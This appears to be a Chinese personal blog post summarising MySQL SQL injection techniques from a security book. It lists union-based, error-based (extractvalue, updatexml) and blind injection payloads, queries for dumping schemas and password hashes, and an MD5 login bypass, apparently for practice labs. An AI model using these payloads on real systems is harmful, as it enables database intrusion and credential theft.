Patrilic's blog

SQL注入(MySQL)

Word count: 744 / Reading time: 3 min
2018/03/15 Share

0x00 前言

最近看了《SQL注入攻击与防御》这本书,学到了一些新的姿势,在这里总结一下。

0x01 常用思路

数据回显注入

1.显示字段数
order by 确定字段数 order by是第n行按照顺序排列 如果order by 6 返回错误,order by 5 返回正常,意味着查询包含5列

2.确定显示位
select 1,2,3,4,5,n# 显示回显位置 或者用

select @,@,@#
select NULL,NULL,NULL#后面两种语句可以保证不会因为数据类型不匹配而失败 语句基本上是union联合查询。
而union操作符的正常工作需满足两个条件: a.两个查询返回的列数必须相同 b.两个select语句对应列所返回的数据类型必须相同(或至少兼容)

3.查询数据库名

select group_concat(schema_name) from information_schema.schemata;
select distinct(db) from mysql.db;
查询information_schema 可以枚举整个数据库结构

4.提取某个库的表名

select table_schema,table_name from information_schema.tables where table_schema = ‘customers_db’;

5.检索列

select table_schema,table_name,colunmn_name from information_schema.columns where table_schema = ‘customers_db’;

6.爆出数据

select group_concat(columns_name) from table_name;

PS:information_schema 只适用于MySQL 5.0 之后的版本,且包含数据库用户权限及其得到的授权相关的信息

例如列举授予各种用户的权限

select grantee,privilege_type,is_grantable from information_schema.user_privilegaes;

报错注入

1.group by

select count(),(floor(rand(0)2))x from information_schema.tables group by x;

2.ExtractValue

and extractvalue(1,concat(0x5c,(select table_name from information_schema.tables limit 1)));

3.UpdateXml

and 1=(updatexml(1,concat(0x3a,(select user(),1))))

4.NAME_CONST

and+1=(select+*+from+(select+NAME_CONST(PAYLOAD,1),NAME_CONST(PAYLOAD,1))+as+x)

5.join

select from(selectfrom mysql.user a join mysql.user b using(HOST))c;

报错原理参照精灵鼠师傅的讲解:http://www.jinglingshu.org/?p=4507
12种报错注入:http://www.webbaozi.com/qjyq/27.html

盲注

基于时间

MySQL 5.0.12及以后的版本,可以使用sleep()函数延时查询,如果不存在,则查询时间为0

sleep(),benchmark()

select id (条件,sleep(5),false);
select CASE WHEN 1=1 then true ELSE false END

基于布尔

ascii(),substr(),length(),etc
可用
ascii(substr(database(),1,1))
判断数据库名,以此类推

dalao的SQL注入备忘单:http://pentestmonkey.net/cheat-sheets/

0x02 特殊技巧

窃取hash口令

MySQL在mysql.user表中存储哈希口令,通过PASSWORD()计算
MySQL4.1之前的版本是16位的简单哈希,4.1之后是在双SHA1哈希的基础上生成了一种41字符哈希并以 * 开头

insert,update和delete注入获取数据[ http://drops.wooyun.org/tips/2078 ]

MD5注入

$sql = “SELECT * FROM admin WHERE username = admin pass =’”.md5($password,true).”‘“
md5函数的第二个参数为True时,编码将以16进制返回,再转换为字符串。
ffifdyop的md5加密后结果为'or'<trash> 绕过检测

0x03 引用

http://dev.mysql.com/

http://websec.ca/kb/sql_injection

from:http://www.exploit-db.com/wp-content/themes/exploit/docs/33253.pdf

https://www.cnblogs.com/pursuitofacm/p/6706961.html

http://blog.csdn.net/greyfreedom/article/details/45846137

https://github.com/Audi-1/sqli-labs

http://www.baimaoxueyuan.com/course/index/video/id/54 //sqli-labs wp

CATALOG
  1. 1. 0x00 前言
  2. 2. 0x01 常用思路
    1. 2.1. 数据回显注入
      1. 2.1.0.0.1. PS:information_schema 只适用于MySQL 5.0 之后的版本,且包含数据库用户权限及其得到的授权相关的信息
  • 2.2. 报错注入
  • 2.3. 盲注
    1. 2.3.1. 基于时间
    2. 2.3.2. 基于布尔
  • 3. 0x02 特殊技巧
    1. 3.1. 窃取hash口令
    2. 3.2. insert,update和delete注入获取数据[ http://drops.wooyun.org/tips/2078 ]
    3. 3.3. MD5注入
  • 4. 0x03 引用